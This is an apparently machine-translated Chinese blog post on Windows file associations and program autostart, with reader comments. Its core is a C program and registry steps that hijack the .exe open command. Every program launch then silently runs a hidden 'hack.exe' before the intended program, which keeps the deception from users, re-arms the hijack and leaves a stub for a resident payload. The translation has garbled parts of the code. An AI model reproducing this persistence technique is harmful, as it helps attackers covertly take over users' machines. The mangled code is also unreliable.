C|文件关联与程序自启动

首先我们来看Windows操作系统的文件关连是怎么回事。根据这台电脑安装的应用程序,推荐打开的方式有3种,其中%SystemRoot%\\system32\\NOT

老铁们,大家好,相信还有很多朋友对于C|文件关联与程序自启动和的相关问题不太懂,没关系,今天就由我来为大家分享分享C|文件关联与程序自启动以及的问题,文章篇幅可能偏长,希望可以帮助到大家,下面一起来看看吧!

根据此计算机上安装的应用程序,建议使用三种打开方式,其中%SystemRoot%\system32\NOTEPAD.EXE 是默认方式。

注册表中有一些设置:

例如,双击c:\virus.txt 文件将打开该文件。对于操作系统,先打开notepad.exe,然后notepad.exe打开c:\virus.txt。

以下是打开该文件的命令行方法:

相当于:

如果使用命令行,请使用chrome打开virus.txt:

链接到上述注册表设置:

“%1”表示需要打开的文件,前面的字符表示可以打开该文件的应用程序。

C|文件关联与程序自启动

说了这么多,我想解释一下如何打开.exe 文件。我们可以使用一个.exe文件来打开另一个.exe文件吗?

看下面exe文件的打开设置:

“%1”表示.exe 本身。因为它是.exe文件,所以不需要像.txt文件一样使用另一个.exe文件来打开它。后面的“%*”代表以命令行形式运行exe时所取的参数。

如上所述,您可以使用一个.exe文件来打开另一个.exe文件吗?答案是肯定的,如下设置所示:

打开任何“.exe”文件,可以先运行“.c:\hack.exe”文件,然后运行所单击的文件。

例如,从命令行执行:c:\hack.exe c:\test.exe。您可以先打开hack.exe,然后打开test.exe。

有了这些前提知识,我们似乎就可以使用文件关联来打开我们需要的程序了。

第一步当然是修改HKEY_CLASSES_ROOT\exefile\\shell\\open\\command中的值,它是可执行程序*.exe文件的关联点。默认值为“%1”%*。当我们将值改为c:\hack.exe “%1” %*时,以后打开exe文件就会激活C盘下的hack.exe。另外,我们需要获取hack.exe运行时传入的命令行参数“%1”,然后启动原来的exe程序,这样对于普通人来说,就好像什么也没发生一样。具体演示代码如下:

C|文件关联与程序自启动

#include stdio.h#include windows.hvoid myFunc(); //想要实现的功能void hack(int argc, char *argv[]); //使用exe文件运行int main(int argc,char * argv[]){ hack(argc, argv); return 0;} void hack(int argc, char *argv[]) //这个程序hack.exe 应该和另一个exe 文件(比如B.exe)一起运行{ char fPath[256]; //B的文件路径memset(fPath,0,256); if(argc!=1){ //argc!=1 表示有参数int length=strlen(argv[1]); //argv[0]代表程序本身,argv[1]代表第一个参数//当我们尝试使用这个程序(hack.exe)打开另一个程序B时, //另一个程序B的文件路径是argv [1] char *ch=(char *)malloc(长度); strcpy(ch,argv[1]); for(int i=0;ilength;i++,ch++)//将路径字符串中所有’\’改为’\\’ { if(*ch==’\\’) strncat(fPath,’\\\\ ‘,2);否则strncat(fPath,ch,1); } } //执行程序B之前先恢复注册表,否则使用ShellExecute或者执行hack.exe。 char para[]=’\’%1\’ %*’; //”‘%1′ %* ” %1 代表exe 文件本身。添加双引号可以避免路径中空格引起的错误。 %* 代表运行参数char* subkey=’exefile\\shell\\open\\command’; RegSetValue(HKEY_CLASSES_ROOT,子键,REG_SZ,(LPCTSTR)para,strlen(para)+1); ShellExecute(NULL,’open’,fPath,NULL, NULL,SW_SHOW); //执行程序B//程序执行完成后,将注册表修改为我们要启动的hack.exe TCHAR filename[256]; GetModuleFileName(NULL, 文件名, 255); //获取程序全路径名strcat(filename,’ \’%1\’ %*’); //附加参数RegSetValue(HKEY_CLASSES_ROOT,subkey,REG_SZ,(LPCTSTR)filename, strlen(filename) + 1); //以上构成了修改注册表和运行程序循环myFunc();}void myFunc(){ //MessageBox(NULL,’Hello’,NULL,MB_OK); //为了测试,可以将其替换为你想要实现的功能//while( 1) ; //常驻内存} 上述代码运行一次后,exe程序一运行就会首先执行hack.exe。

但是,因为每次启动exe程序时,都会启动hack.exe,这是我们不希望看到的。

如何防止一个程序多次启动?即保证系统中只能有一个进程。

为了防止同时出现多个进程,我们需要使用CreateMutex()函数创建一个互斥的对象。互斥对象可以保证多个线程或进程对单个资源的互斥访问,即一个资源不会同时被两个或多个线程或进程访问。我们使用以下代码创建一个互斥对象:

void myMutex(){ 处理hMutex;双字dwErr; hMutex=CreateMutex(NULL, //无安全描述FALSE, //无所有者’hack’); //对象名if(hMutex==NULL) //hMutex 为NULL 表示创建失败{ //MessageBox(NULL,’CreateMutex error!’,NULL,MB_OK); } else { dwErr=GetLastError(); if(dwErr==ERROR_ALREADY_EXISTS) //互斥对象已存在{ //MessageBox(NULL ,’应用程序已经运行’,NULL,MB_OK);退出进程(0); } }}上面的代码可以保证系统中只有一个进程。

但如果程序常驻内存,则需要添加上面创建互斥对象的代码,否则每次打开一个exe程序就会多出一个hack.exe。

用户评论

C|文件关联与程序自启动
你是梦遥不可及

这篇文章讲得真到位!我一直对文件关联和程序自启动有点懵懂,现在终于明白这些东西是怎么运作的了。感觉学习一下相关的技术,可以提升自己的电脑使用效率!

    有11位网友表示赞同!

C|文件关联与程序自启动
断秋风

我也是最近才发现这个功能,原来这些看似无用的设置关系这么大啊!我之前总是把各种软件设为自启动,导致电脑开机速度超级慢…

    有5位网友表示赞同!

C|文件关联与程序自启动
月下独酌

文件关联确实很强大,它能让我们的工作和生活更加方便快捷。比如打开一个图片文件的时候,系统自动识别就可以用默认的图片软件处理了,省时间不说还能保证一致性!

    有10位网友表示赞同!

C|文件关联与程序自启动
心安i

这篇文章写的太抽象了,我根本没有明白文件的关联是如何实现的?能不能用更易懂的例子说明一下…

    有13位网友表示赞同!

C|文件关联与程序自启动
念安я

自启动功能确实很方便,但如果不小心把太多软件设为自启动的话,就会导致电脑开机缓慢。所以要合理使用自启动功能,选择真正必备的程序。

    有20位网友表示赞同!

C|文件关联与程序自启动
屌国女农

我觉得这篇文章的重点在于安全方面,因为文件关联和自启动功能容易被恶意软件利用。希望各位小伙伴要注意保护自己的电脑安全!

    有20位网友表示赞同!

C|文件关联与程序自启动
颓废i

以前用的是Linux系统,那时候文件关联和自启动的功能设置都比较简单粗暴,好像Windows系统要复杂多了呢…

    有14位网友表示赞同!

C|文件关联与程序自启动
傲世九天

我已经很久没有关注这方面的内容了,原来这些技术的应用范围这么广泛啊!看来以后还是要多阅读一些技术方面的文章更新一下知识!

    有10位网友表示赞同!

C|文件关联与程序自启动
抚涟i

我是一个程序猿,经常需要调整文件的关联和自启动功能。这篇文章对那些想要深入了解这两个概念的人来说很有帮助。特别是提到的安全问题,确实不容忽视!

    有11位网友表示赞同!

C|文件关联与程序自启动
话扎心

学习完这篇文章,我才明白为什么我的电脑总是开机很慢,原来是太多软件打开了自动运行! 现在我会认真清理一下这些自启动项了…

    有6位网友表示赞同!

C|文件关联与程序自启动
┲﹊怅惘。

文件关联和程序自启动的功能虽然方便,但是使用不当可能会导致很多问题,例如占用系统资源、影响安全等等。所以建议大家学习一些相关的知识,以便更好地控制这些功能。

    有5位网友表示赞同!

C|文件关联与程序自启动
抓不住i

我以前总感觉这篇文章标题听上去比较专业复杂,现在明白了文章的意思,其实说的都是一些生活中经常遇到的问题

    有12位网友表示赞同!

C|文件关联与程序自启动
蝶恋花╮

个人认为这篇文章写的很棒,不仅介绍了文件关联和程序自启动的原理,还强调了安全方面的风险。非常实用!

    有8位网友表示赞同!

C|文件关联与程序自启动
妄灸

我也遇到过因为恶意软件利用文件关联功能导致电脑中毒的事情,所以我觉得这个安全方面的提醒很重要!

    有20位网友表示赞同!

C|文件关联与程序自启动
余温散尽ぺ

希望以后能看到更多关于这些技术的深入解析文章,例如如何编写程序实现文件的关联和自启动之类的内容!

    有8位网友表示赞同!

C|文件关联与程序自启动
枫无痕

这篇文章写的比较浅显,对一些已有一定认知的人来说可能缺乏深度.

    有6位网友表示赞同!

C|文件关联与程序自启动
仰望幸福

文件关联的功能很强大,但也可能造成一些混乱。如果系统默认的关联规则与用户的预期不一致就容易产生误判!

    有15位网友表示赞同!

C|文件关联与程序自启动
病态的妖孽

对于程序初学者来说,这篇文章提供了很好的入门知识。希望以后能看到更多类似的文章进行讲解,深入浅出地介绍各种技术细节!

    有14位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/112606.html

(0)
小su's avatar小su
上一篇 2024年8月31日 下午10:45
下一篇 2024年8月31日 下午10:51

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注